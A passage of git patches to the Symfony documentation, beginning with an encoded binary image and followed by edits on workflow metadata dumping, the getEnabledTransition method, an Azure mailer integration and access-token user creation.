zlH^<;xVJgRlPNug*Tdbbjs5TIA9&y2-y;>4SYJ=ps1H^LYUFucf40AGbaI*K4`4(B
zJ1$9hR$2z+7H!OQ-hw&+19(odclV9T?aY=hCbC4)ad(?0+s{sI^cg)2W}pOYD5sp_
za<h=_5ONX}kA*3CQ9<pCbz~To<r2Gy8{VMJ{f_Lc3@?X~X1ivR_-tT6q138D4Od_8
z>md4j+q&|1-~cMQJbdx;a*<*$rbLF*)%H}+=n=be0t=6+BSV=QICC$v#vDqaEEAWi
zN`%3Ce!2cOZp(Fax|NQ2uyhD>XHP%$wZxU#nA#S-_I}Y$CC6p7P_U^pMR`Bt;=bk!
zj0VbNVWIUMmi2u$dT*CrnI}@lYwsn~Iy@`3U%k%S>yYN~>aS6??#W?RmSQW2rFb;-
zxc;jhU&ooF016ThB5%-@7$qxhh}-h|K8s`@sr|60%C#VhdbHJ@8*A19%+GKJrDkz&
zgn9$a{HuVrjfTSv>Uq&SxG2^j=xtCI3UjUR%+}LRep$6pEN9ocm2aP}Kbd29KUu1<
z*1n{@dfBN_$jF^S(PNlSRLW>;dEi>6Z(<k!+2IrH?84SxzE9q>J92d^Jl>EjG(#2Z
zV6`h^0F*!iv@?4cRS;M#t=p_>H!<cwzf4nC{K=fA3t)`RAYFs*=B%bN^&gkwju2Z3
z%{-`@Hnfed!&I@mCT3)`=bh7v*|F<pS$q4QoTE8AvYp3gt+<0D=?uH-eu2=f(g%Ce
zr7sQHuWT*sXs=GTbA7+H%Wl(~Yi0O7N2}SkZd?3s0CEDWoNg?a!ELpXwLX?N>J?>q
zkHQJ>#{Jji-oW)zfQsp4u;|hWO)NY(vgEw^;r8MF=wahop`q8q4KPmh9(S{iH5lVL
zwBJQ7>K&SS8qB3>r2X+v?o(h@YV6qBVJCJa=hS8pt$lpxx$Gor_E27Ij)QT1aLZt3
zx1;^s3+#+i>uDpp3*U3B+SWm?<HaTW7M{oLbvXZ4I_^Z^iTa3%K)sYaDKtxf>B=`3
zU<*$G#v}sH+0sxEo{Sh1o_R0VF18jZ+-3!bn+)js)V2h4z+B37o0dXL=HtsXqvT@D
z;*Zki<l9fQAK(y>M}@H_G2jqfh}^5E;lRPCVf7L%MbB&`Ew8<-?#rh-xxcYOzr8X2
zIk~TWwb`qtFTck3VE+e~M04Hk0Gn@l39I$AHF1SXQS8iMR#`0~xVSPC9AgL4a(#GT
z6gW7(YFqxdCx{y8Phy*&t7D$w#WwemJpBj*eZiP(#&Eo|(TOViQRZQWH*P$%&SNLn
z1YW(UZE3X2UeT<x^36;PO}8-Lzc|>w9qze5%euY2a&N8Zb8<Ar=>}Son7j8g(KG2r
z1ips8x7@@xMt8K<zG%tMz15e$13kyz!aPAXN6sFC4S5E50g~}=-27O4r{%5sq0Duy
zE6+ewLp(}@G|cG~gtViCaCBV=BX{^q;nL8OFD?fio(lis(-T++EKh44oc3YotZvOM
zn0yNi6}F#h(0f=lsYQC~UUWu19PM|#f<Y0Ks0#<LpFFYz5aB4|(s66}2+uJ=<i73p
zWYZ?ET$YO8vbK{+!SD@4OY(r?Ykka|Ao3(Y5CY!D`P!A^8OQcJ0apI2H2P!n=&PcK
z!19Dc#Mr^9gh6Y_rSpsA06#Ru2B0Kb2}(`4Et2o9wjHHzNGy+k5<7#VpO01M@6~TR
zTp)xq18S-vKi4C{Yj+AHffh{DnMzZVhk7oH&G+bS@U7zqGX<T%;<K_ep}OczNt#hS
z=g@quOdiBbCLpI#<)|696J%t(1@#D1{C$1b*>qe~8HJC_@kHaEh9_6d`yt-4&%96E
z8%lkl&`VW>@vbsAL@&<v7pCevkNbAz8%bcBqjf0j|C=H_n4;sD+bh4d+I7Pk30PVH
zJpd<K%?qqy*|eL4h_gVqI9kWh1;?ARU+Wvs-zXXi7g8s@V@O(Hpm}!99j`5<GFX89
zs4f)7eKB{V1t2et;NY1aj#Q3w7M|h5eHD2A_=D44zy}M&r?yIALuP3hXTT9_`=eAj
z(d)n^KZe564IyUD4wV-n9@Y-<YK+{css^v0Ii6#6JUZ_10HGgs#FzmF#kc3+l&IIx
zm5#~DDDEM??*6Bs=dF$^zt-maX3ksajC10A{{jy>B7Q7*TOBgQkLS0JKu?iW0lHk_
zeJFxTaS$?$7JM++08T5UmT=GdUvvO7tiU*?;~m4QN@Gvt0Y3ewIiJg_X=hF-v@b1&
z`dD@#bW8EyajJx_wi;*6o}CLAwRG5TiFRM!ZRy!g1zkWxDP|IaC%_H7pyU4KE9Z4Q
zh;(SYKU(N1a~xt!d2)S8BSQfwmRfbD_@Xe}H`{LPE|@BZuRgY4^HfT&)x4LT{T|{`
zDRjmj=RK+8TVUO)<-qFp#C-=8WpMxWd>^xDxgP+YC;_RFOeKxeiluH8c`RO}Dk=6*
zy*`e;4eQFlK#2j9_fvIy0<=nA0}a2KTt}ZCDvdX+4`3ve;5;-lP{vdTD0$l8)aLHB
z!QBlwu_0{k`&;T!Y5{AewdwZu#~D(UCrWC&;EbdRAhSdELJ)FrJjs%^BrCDCaH`t}
zz~1y@bU+cO(?bo^6;s6EBqNq5tr;aEIOf{>>rSBS%wsa*(5*amY62|0WWd#jCv|YM
zYBe8czk_9D2Pr^oA5Z-y6PjFy#X&7-12FEaFvhgvql88t4pbR^9$gbw_6><11*jPF
z4$*wl;T|g%pP}<Q9H;(ots9bK1QjXS-nFq&ysOoe__U=l=xLGYGG*kMNlYRh_O$d`
zSo4V!R1FH!H#NmEm1l<N#>g;^2Us}x4O%(|%wW7CrxV>&M!XI^*fg_ltG5;{=WEuC
zzIQbe0yS1?uA(MQd6o#Mo7|+})V~4+<XdPKQht+Le`_mrME9`_U!h-kjh)RLeWxcx
z+DUi;6S`xSb|vg}OKW0*^ypbZ89}3JcYm7L-(rem$N?^|%&6+b>?ZuST|i1i=4-F;
zbbL7f`4qes)0)wR%ED@+jeDUK;!O%X`Of236L)Y9faF1h`TZ$X;`p113P5|3dv|00
z!jq6R4Ych11!Z|xHT1cQ+>)S2@+pY&5f-dwlHqv^J#b%>fG8vKsJ&fiEQ7QU;Q$;>
z{+yT=3I%k=&;5)w*|_?p8V3%a?bT*3>c`vPs3BPhcUj{RJbqdo%b1pTc25FZ;pVBr
z;SlobGu=x?EjdX`b?)=;%23kJ$p+A)eTExt84Yv$Z+HD+-<bpq%-m>EmDtw=J{czg
z#nsoKki+!d_mOu@)0Uq0vdw-1#VQ;XYB*Iruen%vN!+#gs$MCIMJ3*^7Bx3qKX$y-
zuw$P_<7D_aX~#KGFg4~tV476Ko*q1Xm1JVCOz#znT(_*Df-fJx1?(c#&1|+IC@eJd
zOK+WaS{l+dZ;Q9uG+`-{A;Dz3*T}dTi9YBE=o*aBVOKYWREh0wqZ0_s;kKBLxCfp+
zHbDh=&am2V39GXki1oQ;b76HWy$yBO(?o-k68}%>A7u}tkwDZ$7*f0lcN61ydimwD
zT>WZL-!KJXe3sAjx#BUb>!x%59p`tyHU!!pe~KjC1H3=VXzSQ{I5Y@#H#wtoyNaHB
zzuL#YNP>~^^HASMS{;IY=VYA4{V4Ko;BRVxmV{Ri&A{QN9NKl<{0rz?{#|r?H)|ha
zb<=8^l#zH-ioSK2ae<1TB0M}Dz?QRPd719_N2{x@970dZ_lIxodXM5g!sE$IJaWD+
zN6vR}0b=%0XbdSpdA`d0?$~1aM3|Ck!)y932xhU($8@OA96KX<D)1;>9pCu5vG`a}
zR^3p)xM>HyOhm4*`<n&V^^edNAQhm2^a0LDCHJ27m8tum7lr_EcIhLO{3e%621<Og
zX*A#fABQ84u)fd<u3rmAmuyz-uDa=|s-6Gw2U6e<NCWtm>WDCp841>L*g2QM*Mdr;
zKiSng+#S`fjlx0ta5kqhSPs(0tJoRQ6a;$5PH;u=$bTXwR`8#rMHV6awnP1wBGsU9
zkRNm5jvH7(MzD|30DqzVzdArQ)|-Ewz7rI{IjjE|hrd@)I_nJ$!?<7fQZ$#DePUwG
z&=kk>;v<QCCOcBvU;a8E7evJj4AR#?v~upOtQ|m37c2)jgc-mj)bsR(88F^@_b&PT
zGh}q>*hCn%ulv!BM^p220r+o;Ls0r%1+182XNpXfrSY5lU7r*`ZrQ=dcJ49wP-c<W
zQyxD%Oc7kRX63-S;Mx`nwZSLX9cEtl<Qt8q-8XbwEU}vQ%DLPdF@e~4HQID~ZjGud
zEyrH>sTYj$uz@I246PE`1(ePN0tgDq>kN~V)CdJ`Iy+a@dYI;0?X%u7Vm*O`$6Mti
zktF(KMc3bW%uzgJqV$I?-}JpGE~AmR<~t*t!^<DdTd5G09qnqOy7hg<U;kNcHpZv5
zD9SlM(xWvoIS?oKz&a-uWT}Un&36V%L5W@w{FE{oAB3>$8|)@x$Lp7k87^d7szJR#
zrZw84uZa5s2noYM$E)vSs!JX~T*eD$-DnJDLX{sEHJZot;@DJ=u^}-+^eH4p;A*e7
z>EndpzI@1IYnW_T;gb}wK6TkOv*?gO+A)>1t|geL=6~Ew6cRzYoji&!+7BRci4*tv
zcp*IMIu@vf@_+JxW0mco`eh~r`$JS}kLF+EcoKrvs>kQykHT|?CB|UzSzNQT<EdKH
zm|sYO?o%2nhL_j)i{G8o(&%qe{x|+J7Ls^Gbq-rMV1S!P&ljDi7DNf!4q*(^H6%X#
z#G{^WPvQchs-`7NlFWCwDAn9cvj4@a1V>-_x1!Nf4ZG56_+v>ni(9v{&~}|^`=Ikg
z1M%ngped4K5%dkZ06ab^)W@SsMCUWRDh}bf%Sm_MeNexejIl@z1#K(?712fhq&th^
ze4wgy4XF%+r28#J&`p2qjoWfZq4WHIAB?;=&Cz?S7TJ9722BoK+2BjFtVQA`^H82l
zgNyCzFFRq1xPDn8S$rq?agxo?3QyiT{qI^Xa0ok_iyVL#dks~Eokj=M{v5V%u?)M=
zC-`P_9^wGw|Kb2TkE1p0hOFUz!QK8s6B#3LKgB(OrFl42VV+N+co(<>Yzy`fbk^IP
z`TxK8dId$MZnb+ku@dwx)=~-BN?e9MJmv+&l?!x0)4-+*$54C6kXq}XI^GAaB*;Ek
zLiWM#lTA45D%L@jTosU$8*ix<%G|&O^TNRt@e36WgD+}PJBmC&k^5WV@TNynAvUBV
zur<Hn>fj&H0_M2!+4&nYIznOATY!OLfP|TESF5Bzm6HmK@50Ilvj2t)_K<@UgvxO7
z+5%`AL?E3i;_q-aqC`d5qaRy~KP*1XgmT7G#Wh1B$SlcuyqxKRU|9|u+&>zv8@o_0
zH-*Zi9he+NsE_R}seD>M^fcUIE3o)}07a7W%NM+3^nCQsAAj=B(bn%pKKaZ&$9Gpm
z?|s6SHn-&Q0#wWAad?03`p|ff%>n;A#@OZzS9nh!fAQ>1#72rRf{mnwx<x~eM+_7s
z@dNZ8Z~un)yctfKWrmyxIlKZ<jnMD2=%n<Hxe^xm-)OHK&9n*f?$7uul%pT?7bFwk
z0k|YVn49hnC?k=Omgn9nOqq#^W=(KVXYi0ivxKpj{Ff=*NA^eG1=z`lZ(6HCVTrL=
z1wv;^2xr;sNY@1+18`X=tWSgaWATZ34l{<O`2v_+M^i@k2F&yl=hdUWS-c0Rrtq3J
z5Dk2M^48z97pj?lwp2;5wV2^}6&@{z66^b6Flh>CN{Zu2J8`sDvW^DM#W83K4&cxO
zrE+we523m!loI`WIQ2?f{ANJagtc27+njfn_kRL024up;kNQVD3sA!+_b`B(e#W16
zN{je$w`e%NlCAy5ZY~+8e*Z$5*w&DJ_#!D5-@tQ9+T+KM9nD)5^7zcpM{5SUe9cHt
z5sm{B;*t<7G1|ZF1pr($wmk?QYK-G!@sUTwoI1W9eRO^B(e>R6uG&+e{WZ~}p&AK^
zf+BQK+{X_<Z?W}8Gn|~I0G;N*0x{^;sauI+@kJKL5d6E%NiR}l$9Nvy=EuU_6Eg_U
zPMJ?DIXhG`f2n;B<Z1&8kn<1HK|V~D%m}&%wpS^!y3fwF;Qd>IPbH4lfe^9|x}R)b
z7IpNaS>}Oq7u00~L6{n~zSjas?GM4G;5>POdEf%8IUO4QNU6eV;C*_WBlw=Q_Mu~w
z`{xy6;y0jN-YhX}F<RwTrXa3$vkcrsHl$y0;--AwhoAUtS~;3cE4hFbgtNoZh9L7A
zt;AU_omahMZSv|26;}7DS5NW&yXAA_mcGa>lLiju(6C5j7?z`rJVPOWjuj8t)Jl^N
zeLmi`-UluICXksh1!_r3eXwP*dTQ2=2sFh=1$D4aLz(IX!>wZj|C$9GAP=C0J(*k7
zrbwD!^=k^;Wg6IJUZ*8}HaOnWiSTn+G4l$@!Z!htB=AH}wD!aA87a%f-70*$^c(Zz
zpI@fKiCOAdx9K%nH$MCd4o9*fV1!L%CV4jP#X<+`Zk7eK>8IXS!)b|U)ar76YSnk-
zvvZ3N5@BczF18#;Ew#_!UDn@NS(%Yw@x6=sq0>fl{ZXwnRoR0djuE$eG<)yF1*mhN
zwBmCxxnS6Gqbr7?3Au^S{a-3`K>r2{q2L_wTz?a#ovrSRYcAO*m}P54)+Ng!5Sy*m
zJnFgID$OU5lTEC=pA*^y&5CWxQ&`>YZ(lARkMqBw5t9bnlKi!n>^La;XJtJh=3QT#
zyC-^Vg#KN3o>&s?YRSWmbG$77UiUN!R@Q!{Yd=sJjtBi;p9{YJE+GmL?fz@Ok8U((
z0Tx9fpQiLU(D?Ve6(Wc~Us9aX_}~8+e)lH^R>kq_f5JnQL_sT_4p~ZIbGGq2z~5d2
zC4gwqj%WfOj1(M*7ejiNfw>p~^9Btrr4&P(Gd(;=MhfUI%P4!R!%#-KCin+e0r(pk
zaaFfV2lY!pn^Gl~Um-&E>Q+1Sn691|Uw;j%d0GJ%xHysGG*HTSRu5i9lkXoz`E*d%
zV-Y&C)cGV0pyH?5-6pn%vI6@G<?zdP-zY6iH#NK;LA6v7w1bREaLYHuV}p9DVLjDf
zZPLs|x@zDkF;`_$$T6^G`_%S-l4ID-KiB(xVT{Bo0yYzD#J$v(KOhmr+|`~SHCTQQ
zj6~D#L5|NqY%5xGbse!Z`jP=my$WZUD*$h163#w|CT5hqnCt>41(~~f*e;9b{dHri
zU`bu=bh+_i_G-QGAdr$lhyyB}V`O)B?s>valJiHAGY-Bd#r5~OWNRWT`y!B9sLfA^
zoX%P<H&i01RuJUte_SyYGv<v=^1sNaMwsv`>rKf5$R{UkbC8ch@rfIiAW?Ri-}Mfh
z$mRmNz4m6>xmzJ68aM?-UtK-&0w;`*R>%rF%(RZq=?Y|~ubd>efzGdpBKj_`_M`QM
zfwe1Yp>yZ|XlMD#wcYPo1Smjw+{0?&44fdX^{<0mZxu*+WKk+#2Ne1$fdnUe6=Y<$
zxqd!?syfSAflBxv2PY40Ywn$8T5R)p0wpKpk%$|Op_vbiCVC3X)pExqt++n-dBV<o
zAUemglT21wVi*Av_y7bN1%NzPGOD<9IUe!K8it?02Jd_Di{_qC`;lOkB=~a@wOcG<
zA5aa7S>_q~b2lV1<<DMt*}17{JqVZpLk>{+Cf>NoSS`3Sed!ly{&#^^QulJG98KuS
zQ>QO(t?z)Pr?l1X5#C}0l_fPeImOsB{}<4^=j}#Zrp;2i{c<l0?a}m<$IrI5jh?6C
zZ}<bE$qT8y4L39~z+4<ywv5}60De%*nX@~~2xxO5sHYcfGy-ejd(fR#v}FGPn&lB3
zIx4XE&D8TYrpK}P#Kd(p?4RV@INRshh;1bqoDof2?aNTp|FN+DaG7o2<*M6*{k`gX
zM`W;WK+do}`{^Dy($})sDR`*3*qom?Ys#*vV=JcW?R1HU4(495!zU*fV2^N6O$cBj
zzr3@&zyK_*jH(fQL2_w!=Xkcrafu?6Y*k?IgaH_(0pb*8ssfGsz62<8A9mx<TbkBn
zE8lgD1Q?X_p~&}DO-ju-48IU?$Cyu&+Woq}GyBBWTKMD!9&DB8+|kO=G4d$6my=!9
zR#Grq9rd_)Bfx><t)ylhRduOIQo!Mgc&T;SM%_|Saf<%oyI)zVjx`f-q!r&HsEt=c
zc5eV9WJ9C)d{n~G$o$VKe`f~Fz_3^75`8n5m{fi>Qma^_m!#TftJOkAz>^L};4}L@
zMi_w+Yz92k{>m_%EOhD{{wGVUZu~end(Cvox5sZv=7NFgm#CnYS+Q~2sZ@Wx>3}<r
z$A+ja86UKXr-WiF{Ap)Me<!O*8Pvno)!yT2k#<|RzaeQcDe{q)1mnOv2GpY6l5Zf{
zc6U}j->OZj_xLUa<M4QCe#xjTvzD{9gFO`KV~7>VAN5j@Z|+oe3zCmP@NuB#Bhcmg
z_Ogn^`VBoG(L)E}kZae{gd9^i;$>a7`6S~|_Gj+=wELT|5wFWDNOJXb8bVm{GNy~z
zV5I2+C5si`0mQ?h%|+p=l-%wQ%LHYC9!n$Vjdn{0rm$K~HwQv;>A_Fky!PzePp(p*
z4T?~-3E}f+;?@eZTt~FguCu3W*0(68iO5*+duN+m?|%LHt4W&QyG^_c37xji94-8x
z5P3eTWW5q=t!(}B_x`qnFHa6G0|O$4?Mr7bN+#=l0bxlJ-{t<nd&{)SNf5T%Kx4cR
zzs2&#%TX^!@p!c-6-%2m-*14oV{~maQa~nV1X-F(gJ??dDBg!eeiU`?kf12vwRDv6
zTtDTR_K91YuK)b9c8Bz?Q}Kph6a)2$gb)^Al)Oc8iuha~?8hMCrj{kqRz<XkuZ{{%
zhU{5^eFsq0mnHH&6ph-|!>JGqniEcq*r~#I5syO-N|ePO+>dvyd7jxjcX1r+I)`_5
zr!IM6Y}Z0ygvf(nIrKNX!`c4W9h+{iCmzMKg=};AJ6S$_dzOiJu6O<IhpNkh@!{=3
z9S!|U?DvWq-_QSI=Z_~Yvy{0T&-UIrfE-ulWHRlT0J(<mTYSPyI(rTD;C^zOl;}sV
zF5MaCikyO8qh|I2EDaZ{oPrGQx3{}-^U321VY4-5o+n;+4KlSZI)6$NH(#%8DJw#)
z%822z8OgyL`U>0(3hpkOg%M?o-wf0H;ln)4+Wqjt13lIW-4xf}OLXsQZbgRCP|pwF
zl0e2c4~bWO5)=>z_eGxWt%;%oZrmm&vbLDE<8wE?R%O;op&Pc=Q>!9!O%r||zVH0%
z>3Y)_wa0{gUy$F{O|PE2$evcxlr8>?r&k;!lG#n0`A4O+w&%BifRNC1=%BGgQ*C*4
z&yv!2ABpiu^9R<p&XHPrmi4?XD(IYHM;ecQBF{vtKZ64$=e%l(=l3)FM3=V!W7U}^
z@FVH#PAy~aZj|Ry6!Dr23%4Z=ZFU=ZZ9E1vqt^IO<?d?&v8h;{l<(eub#riiM+O{u
zg|(BzvMJyq&2rKQ19IBL;{`vZ?{b#_&=r-VlW!Yb_=v`zcqz6-Z4vhZeOq;DlI$-4
zm|bxt^bcU!xVbevTPf<a#4m@oq*eCqu};4GTbrQwdVOiiSKV>Ju6F*fnmCbz`NqmJ
z)*!zbG!w|=et%NEVp(mm%%@e>H327#Uq*}4rpR~{-*TGgTGX>88_lFV&^D?eYxQ?*
zp4n?^)Ge0VwJvsn^ubH`#<z^0gJe3&30g)Q7?R;<*@vYvUd16*s=2k@yOO)Q5?4tL
zj0`xcMtE;m#1pR!4SDq*%767-FdVd$n`D|<{KoxvaNJ;UhWJdek-=%CCwliGBtcnX
zr3`ckAZm_c)BcoSsCIRK>|qE?=lsSXYohZfKjj|_hBC^x&Ptr&Q|Gx@#TgdVxg+v5
zR-8{=<1tb)61<!4p-EWv=jSWg3Cp`#0m>HS8q>OdgGOJ=@P($!{d-SW=&0=%nhf{|
zk56BH5t97N+CFida+a{cQbH8ko2``bgZIZ7n?))t^Vfpay)&mBUcB1N#UIIfs(F~Z
z_>onEqdn(3p@ftAv>nC4<F<FzR%E@6Xn^*20WL7r)^%Rhc1c1M%~TUn2aRX@9^I@)
zmp&f$qu6pH4Eku%C(18@sgp$GS~i)a{kpRLxoYWai*k+yn(phkAO0r5?P!>PZrG7~
zv5WbC`+71w?{7SM0pih`Trx)~q*=>yG6>(Ai6_jjxKp*li7Unt+w49ybD-l0vxV?!
zv-ID8Q@c-KP0N{&0@X1u3*)(w&)~V_L0!NUByd&%8PWv6%xj-to)2+prxTM|sFqPy
zt^yz5IuJSN5Hg#l5RS^RaMsfP@Gs5Af>J2uQ<*O~N2{5BY-l&@l<eTInAiSYrbOg1
za4s6R@8jaxYK?2WUxb6L>`slbAQo_)395VTPwH)u%Z@(gZ!C=ml_Au1_0z{`_`hGi
zPK0cHwtUI?xO#t_rH{kU@#LDG{;yjgf9(o~Q5EmIoPS)^M!=fz1g3cS`M5kK(f@uX
z3_McU$(a85OW^2V{r5`V&mnzfxx{t~8Q_1nKz=E&3afNo->LG&|Cu1Xegr>%&S)n2
z|N5#~D2vA=&IkAX@0-B=NL1kGkJ1Qn|Ihq`P8?5c`_O^pJKfrw@az-tpMs2vG=La<
F{vYQ)U`hZ0

literal 0
HcmV?d00001

diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 3d5b9ed194e..8262fefd6c1 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -65,6 +65,21 @@ files and ``PlantUmlDumper`` to create the PlantUML files::
 Styling
 -------
 
+You can use ``--with-metadata`` option in the ``workflow:dump`` command to include places, transitions and
+workflow's metadata.
+
+The DOT image will look like this :
+
+.. image:: /_images/components/workflow/blogpost_metadata.png
+
+.. note::
+
+    The ``--with-metadata`` option only works for the DOT dumper for now.
+
+.. note::
+
+    The ``label`` metadata is not included in the dumped metadata, because it is used as a place's title.
+
 You can use ``metadata`` with the following keys to style the workflow:
 
 * for places:

From f1c0f132500f15e2ef5c1dcc5d54db982278eebe Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 11:05:08 +0100
Subject: [PATCH 4136/5766] -

---
 workflow/dumping-workflows.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 8262fefd6c1..d31b1eb15a8 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -80,6 +80,10 @@ The DOT image will look like this :
 
     The ``label`` metadata is not included in the dumped metadata, because it is used as a place's title.
 
+.. versionadded:: 6.4
+
+    The ``--with-metadata`` option was introduced in Symfony 6.4.
+
 You can use ``metadata`` with the following keys to style the workflow:
 
 * for places:

From ca09716046bd2bf2ccc74e191395e4b26cabd93a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 11:23:04 +0100
Subject: [PATCH 4137/5766] -

---
 workflow/dumping-workflows.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d31b1eb15a8..8262fefd6c1 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -80,10 +80,6 @@ The DOT image will look like this :
 
     The ``label`` metadata is not included in the dumped metadata, because it is used as a place's title.
 
-.. versionadded:: 6.4
-
-    The ``--with-metadata`` option was introduced in Symfony 6.4.
-
 You can use ``metadata`` with the following keys to style the workflow:
 
 * for places:

From 1601f09e61fb7b216eab6f09c43c7bb59841e62b Mon Sep 17 00:00:00 2001
From: Jade Xau <98119101+ChibyJade@users.noreply.github.com>
Date: Sat, 9 Dec 2023 12:21:01 +0100
Subject: [PATCH 4138/5766] Add getEnabledTransition() method

---
 workflow.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index de69ef6ae73..eb824cc4531 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -310,6 +310,15 @@ machine type, use ``camelCased workflow name + StateMachine``::
         }
     }
 
+To get all enabled transitions of a Workflow, you can use
+:method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransitions`
+method.
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransitions` method
+    was introduced in Symfony 7.1.
+
 Workflows can also be injected thanks to their name and the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
 attribute::

From 0dc5f71cc141f83d1e94543c387e07a14fd9f3a1 Mon Sep 17 00:00:00 2001
From: Jade Xau <98119101+ChibyJade@users.noreply.github.com>
Date: Sat, 9 Dec 2023 12:25:04 +0100
Subject: [PATCH 4139/5766] Apply suggestions from code review

---
 workflow.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index eb824cc4531..3f627d2170f 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -310,13 +310,13 @@ machine type, use ``camelCased workflow name + StateMachine``::
         }
     }
 
-To get all enabled transitions of a Workflow, you can use
-:method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransitions`
+To get the enabled transition of a Workflow, you can use
+:method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransition`
 method.
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransitions` method
+    The :method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransition` method
     was introduced in Symfony 7.1.
 
 Workflows can also be injected thanks to their name and the

From 0fe3b79a33ee91ea4f9470d282ebe2baf03b8899 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 12:25:45 +0100
Subject: [PATCH 4140/5766] Update workflow.rst

---
 workflow.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 3f627d2170f..99d23cdcfae 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -316,8 +316,8 @@ method.
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransition` method
-    was introduced in Symfony 7.1.
+    The :method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransition`
+    method was introduced in Symfony 7.1.
 
 Workflows can also be injected thanks to their name and the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`

From 0c017fd5111e908ea177fc8625d8bacd9cf5ec35 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 8 Dec 2023 15:55:19 +0100
Subject: [PATCH 4141/5766] Add Azure mailer

---
 mailer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 3da6c120cb2..fe55ed2d858 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -103,6 +103,7 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
+`Azure`_              ``composer require symfony/azure-mailer``
 `Brevo`_              ``composer require symfony/brevo-mailer``
 `Infobip`_            ``composer require symfony/infobip-mailer``
 `Mailchimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
@@ -115,6 +116,10 @@ Service               Install with
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 ===================== ==============================================
 
+.. versionadded:: 7.1
+
+    The Azure integration was introduced in Symfony 7.1.
+
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -167,6 +172,8 @@ party provider:
 |                        | - HTTP ses+https://ACCESS_KEY:SECRET_KEY@default    |
 |                        | - API ses+api://ACCESS_KEY:SECRET_KEY@default       |
 +------------------------+-----------------------------------------------------+
+| `Azure`_               | - API azure+api://ACS_RESOURCE_NAME:KEY@default     |
++------------------------+-----------------------------------------------------+
 | `Brevo`_               | - SMTP brevo+smtp://USERNAME:PASSWORD@default       |
 |                        | - HTTP n/a                                          |
 |                        | - API brevo+api://KEY@default                       |
@@ -1815,6 +1822,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
    handler.
 
 .. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
+.. _`Azure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Azure/README.md
 .. _`App Password`: https://support.google.com/accounts/answer/185833
 .. _`Brevo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Brevo/README.md
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout

From 779cf59a6c3bf6af467f6dff735a7a34a770bbeb Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 9 Dec 2023 14:40:06 +0100
Subject: [PATCH 4142/5766] [#19122] Reword

---
 reference/configuration/security.rst |  2 ++
 security/access_token.rst            | 42 +++++++++++++++++++---------
 2 files changed, 31 insertions(+), 13 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 7579c545f58..cb09bddae91 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1025,6 +1025,8 @@ multiple firewalls, the "context" could actually be shared:
     ignored and you won't be able to authenticate on multiple firewalls at the
     same time.
 
+.. _reference-security-stateless:
+
 stateless
 ~~~~~~~~~
 
diff --git a/security/access_token.rst b/security/access_token.rst
index 85655d8d670..f1de65c6dc5 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -709,24 +709,40 @@ create your own User from the claims, you must
         }
     }
 
-Using Self-Claimed Tokens
+Creating Users from Token
 -------------------------
 
-You may use tokens that are self-claimed, meaning that they contain all
-the information needed to authenticate the user. This happens when a security
-token doesn't need a user provider to get all needed information about the
-user. For instance, a JWT can be self-claimed when it contains a username as
-well as the roles of the user.
-
-When using self-claimed tokens with stateless firewalls, you can omit to
-configure a user provider. The token authenticator will use the token to
-create a user object with the claims of the token. This means that you can
-skip creating your own user provider.
-
 .. versionadded:: 6.3
 
     The possibility to omit the user provider in case of stateless firewalls
-    and self-claimed tokens was introduced in Symfony 6.3.
+    was introduced in Symfony 6.3.
+
